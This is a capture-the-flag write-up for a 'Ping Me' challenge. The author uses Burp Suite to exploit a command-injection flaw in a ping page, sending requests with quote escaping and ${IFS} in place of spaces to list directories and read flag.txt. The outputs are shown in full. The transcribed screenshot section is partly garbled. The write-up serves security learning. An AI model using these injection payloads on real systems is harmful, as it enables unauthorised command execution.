

## Ping Me

For this challenge, I used Burp Suite to try to exploit a command injection vulnerability. I attempted this because if you look at the code, you can see that the program takes the input (the I.P.) and tries to sanitize it (by replacing single quotes with "\" to escape single quotes and not allowing spaces).

Note: Turning on debug allows us to see the command executed.

Some failed attempts:

1. First, I want to try to construct the I.P. (arrange the single quotes) such that the command of my choice gets executed.

```
GET /?ip=127.0.0.1%27%3Bls%3B&debug=1 HTTP/1.1 ==> ping -c1 -t1 '127.0.0.1\';ls;
```

```
GET /?ip=127.0.0.1\';ls;%23&debug=1 HTTP/1.1 ==> ping -c1 -t1 '127.0.0.1\';ls;#' index.php
```

2. Now I need to find the directory in which flag.txt resides:

```
GET /?ip=127.0.0.1';cd${IFS}..;ls;%23&debug=1 HTTP/1.1 ==> ping -c1 -t1  
'127.0.0.1\';cd${IFS}..;ls;#' backups log public_html
```

```
GET /?ip=127.0.0.1';cd${IFS}..;cd${IFS}..;ls;%23&debug=1 HTTP/1.1 ==> ping -c1 -t1  
'127.0.0.1\';cd${IFS}..;cd${IFS}..;ls;#' example.com html
```

```
GET /?ip=127.0.0.1';cd${IFS}..;cd${IFS}..;cd${IFS}..;cd${IFS}..;ls;%23&debug=1 HTTP/1.1 ==> ping -  
c1 -t1 '127.0.0.1\';cd${IFS}..;cd${IFS}..;cd${IFS}..;cd${IFS}..;ls;#' bin boot dev etc flag.txt home lib  
lib64 media mnt opt proc root run sbin srv sys tmp usr var
```

3. Now, I just need to change the input such that flag.txt is read

```
GET /?ip=127.0.0.1';cd${IFS}..;cd${IFS}..;cd${IFS}..;cd${IFS}..;ls;cat${IFS}flag.txt;%23&debug=1  
HTTP/1.1 ==> ping -c1 -t1  
'127.0.0.1\';cd${IFS}..;cd${IFS}..;cd${IFS}..;cd${IFS}..;ls;cat${IFS}flag.txt;#' bin boot dev etc flag.txt  
home lib lib64 media mnt opt proc root run sbin srv sys tmp,usr var  
flag{f33l_fr33_2_nuk3_th3_b0x_::}
```

Correct input:

```
GET /?ip=127.0.0.1';cd${IFS}..;cd${IFS}..;cd${IFS}..;cd${IFS}..;ls;cat${IFS}flag.txt;%23&debug=1  
HTTP/1.1
```

I edited the following request intercepted in burp suite to get the flag:

The screenshot shows the Burp Suite interface with the following details:

- Target:** http://offsec-chalbrokes.osiris.cyber.nyu.edu:1244
- Request:**

```
1 GET /?ip=  
127.0.0.1';cd$(IFS)...cd$(IFS)...cd$(IFS)...cd$(IFS)...ls;cat$(IFS)flag.txt;#234  
debug=1 HTTP/1.1  
2 Host: offsec-chalbrokes.osiris.cyber.nyu.edu:1244  
3 Upgrade-Insecure-Requests: 1  
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,  
like Gecko) Chrome/123.0.0.0 Safari/537.36  
5 Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/a  
png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
6 Referer: http://offsec-chalbrokes.osiris.cyber.nyu.edu:1244/  
7 Accept-Encoding: gzip, deflate, br  
8 Accept-Language: en-US,en;q=0.9  
9 Cookie: CHALBROKES_USER_ID=aga0070  
10 Connection: close  
11  
12
```
- Response:**

```
1 HTTP/1.1 200 OK  
2 Date: Tue, 16 Apr 2024 17:50:32 GMT  
3 Server: Apache/2.4.7 (Ubuntu)  
4 X-Powered-By: PHP/5.5.9-1ubuntu4.6  
5 Vary: Accept-Encoding  
6 Content-Length: 222  
7 Connection: close  
8 Content-Type: text/html  
9  
10 ping -c 1 -t 1  
11 '127.0.0.1';cd$(IFS)...cd$(IFS)...cd$(IFS)...cd$(IFS)...ls;cat$(IFS)flag.txt;#'  
12 bin  
13 boot  
14 dev  
15 etc  
16 flag.txt  
17 home  
18 lib  
19 lib64  
20 media  
21 mnt  
22 opt  
23 proc  
24 run  
25 shin  
26 srv  
27 sys  
28 tmp  
29 usr  
30 var  
31 flag{#331_fr33_0_mak3_th3_h0w_}  
32
```
- Inspector:** Shows request attributes, query parameters, body parameters, cookies, headers, and response headers.
- Event log:** Shows 24 events.
- Memory:** 132.7MB.